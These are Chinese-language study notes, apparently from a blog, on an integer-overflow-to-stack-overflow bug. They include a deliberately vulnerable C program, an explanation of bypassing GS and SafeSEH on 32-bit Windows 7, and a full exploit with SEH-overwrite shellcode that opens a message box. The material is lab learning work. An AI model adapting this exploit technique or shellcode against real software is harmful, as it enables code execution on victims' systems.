漏洞战争学习笔记3 整数溢出漏洞

32位的取值范围
在这里插入图片描述

栈溢出

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv) {

	int i;
	char buf[8];	// 栈缓冲区
	unsigned short int size;	// 无符号短整数取值范围:0 ~ 65535
	char overflow[65550];

	memset(overflow, 65, sizeof(overflow));	// 填充为“A”字符

	printf("请输入数值:\n");
	scanf("%d", &i);

	size = i;//当i超过65535时size将出现溢出
	printf("size:%d\n", size);	// 输出系统识别出来的size数值
	printf("i:%d\n", i);	// 输出系统识别出来的i数据
	getchar();
	if (size > 8) {
		return -1;
	}
	memcpy(buf, overflow, i);		// 栈溢出

	return 0;

}

最大输入在这里插入图片描述溢出
最小输入在这里插入图片描述溢出
可以看到溢出后size变成0

接下来构造shellcode:
环境:win7x32
保护措施:Safeseh+gs

绕过gs:由于是在memset中发生溢出的 所以局部变量只会往下溢出到main的返回的地址 ,gs只会对调用函数返回的时候检查,由于我们把栈撑爆了 并且覆盖了seh指针 所以并不需要考虑这玩意
在这里插入图片描述
绕过safeseh
在这里插入图片描述
程序中所有模块都开启了no_seh标识才那么只能从模块外的指令来覆盖 比如map类型
在这里插入图片描述可是模块外面的指令并不能调试 我无法观察到覆盖后的指令执行后的堆栈是怎么样的 所以我注入了一个没有开启了no_seh标识dll以方便观察堆栈 下面可以看到当执行覆盖seh指针的指令后esp+8和esp+14都是指向我们所覆盖的指针的上面4个字节也就是下一个seh所在的位置

在这里插入图片描述
在这里插入图片描述那么只需要 在map类型中找到一个pop pop retn指令就可以控制程序流程到这个指针的位置,也就是我们shellcode所覆盖的地方,可以预见的是eip会执行所覆盖seh的指针的上面4个字节也就是下一个seh的指针,这里我们要让他跳过我们已经覆盖过的seh指针 那么就可选择短跳转eb 0a跳8个字节(算上自身指令2个字节)就可以顺通无阻的执行shellcode了
80到00是往上跳 00到7f是往下跳,e9 ????是长跳转字节数占5个字

exp

#include <stdio.h>
#include <string.h>
char shellcode[65550] = { 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
0xeb,0x0A,0x90,0x90,//往后面跳8个字节
0x67,0x49,0xFA,0x7F,//pop pop retn	
0x90,0x90,0x90,0x90,
0x83, 0xEC, 0x50, 0xEB, 0x4D, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64,
0x72, 0x65, 0x73, 0x73, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79,
0x45, 0x78, 0x41, 0x00, 0x55, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x4D,
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x57, 0x00, 0x45, 0x78, 0x69, 0x74, 0x50,
0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x65, 0x59, 0x29, 0x52, 0xD9, 0x7E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x64, 0x8B, 0x35, 0x30, 0x00, 0x00, 0x00,
0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x36, 0x8B, 0x56, 0x08, 0x53, 0x52, 0xE8, 0x14, 0x00,
0x00, 0x00, 0x8B, 0xF0, 0x8D, 0x4B, 0xBD, 0x52, 0x51, 0x52, 0xFF, 0xD6, 0x5A, 0x53, 0x56, 0x50,
0x52, 0xE8, 0x6D, 0x00, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0x52, 0x8B, 0x4D, 0x08,
0x8B, 0x41, 0x3C, 0x8B, 0x44, 0x08, 0x78, 0x8B, 0x7C, 0x08, 0x1C, 0x03, 0xF9, 0x89, 0x7D, 0xFC,
0x8B, 0x7C, 0x08, 0x20, 0x03, 0xF9, 0x89, 0x7D, 0xF8, 0x8B, 0x7C, 0x08, 0x24, 0x03, 0xF9, 0x89,
0x7D, 0xF4, 0x8B, 0x7C, 0x08, 0x18, 0x33, 0xC0, 0xEB, 0x01, 0x40, 0x8B, 0x75, 0xF8, 0x8B, 0x34,
0x86, 0x8B, 0x55, 0x08, 0x8D, 0x34, 0x32, 0x8B, 0x5D, 0x0C, 0x8D, 0x7B, 0xAE, 0xB9, 0x0E, 0x00,
0x00, 0x00, 0xFC, 0xF3, 0xA6, 0x75, 0xE3, 0x8B, 0x75, 0xF4, 0x33, 0xFF, 0x66, 0x8B, 0x3C, 0x46,
0x8B, 0x55, 0xFC, 0x8B, 0x34, 0xBA, 0x8B, 0x55, 0x08, 0x8D, 0x04, 0x32, 0x5A, 0x8B, 0xE5, 0x5D,
0xC2, 0x08, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x8B, 0x5D, 0x14, 0x8D, 0x4B, 0xCC, 0x6A,
0x00, 0x6A, 0x00, 0x51, 0xFF, 0x55, 0x0C, 0x8D, 0x4B, 0xD7, 0x51, 0x50, 0xFF, 0x55, 0x10, 0x89,
0x45, 0xFC, 0x8D, 0x4B, 0xE3, 0x51, 0xFF, 0x75, 0x08, 0xFF, 0x55, 0x10, 0x89, 0x45, 0xF8, 0x8D,
0x4B, 0xEF, 0x6A, 0x00, 0x51, 0x51, 0x6A, 0x00, 0xFF, 0x55, 0xFC, 0x6A, 0x00, 0xFF, 0x55, 0xF8,
0x8B, 0xE5, 0x5D, 0xC2, 0x10, 0x00//弹框
};
int main(int argc, char* argv) {

	int i;
	char buf[8] = {0x12,0x12, 0x12, 0x12, 0x12, 0x12, 0x12, 0x12, };	// 栈缓冲区
	unsigned short int size;	// 无符号短整数取值范围:0 ~ 65535
	//memset(overflow, 65, sizeof(overflow));	// 填充为“A”字符
	printf("请输入数值:\n");
	scanf("%d", &i);//当输入超过65535时栈溢出

	size = i;
	printf("size:%d\n", size);	// 输出系统识别出来的size数值
	printf("i:%d\n", i);	// 输出系统识别出来的i数据
	getchar();
	if (size > 8) {
		return -1;
	}
	memcpy(buf, shellcode, i);		// 栈溢出

	return 0;

}

最终效果

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_43045569/article/details/104823997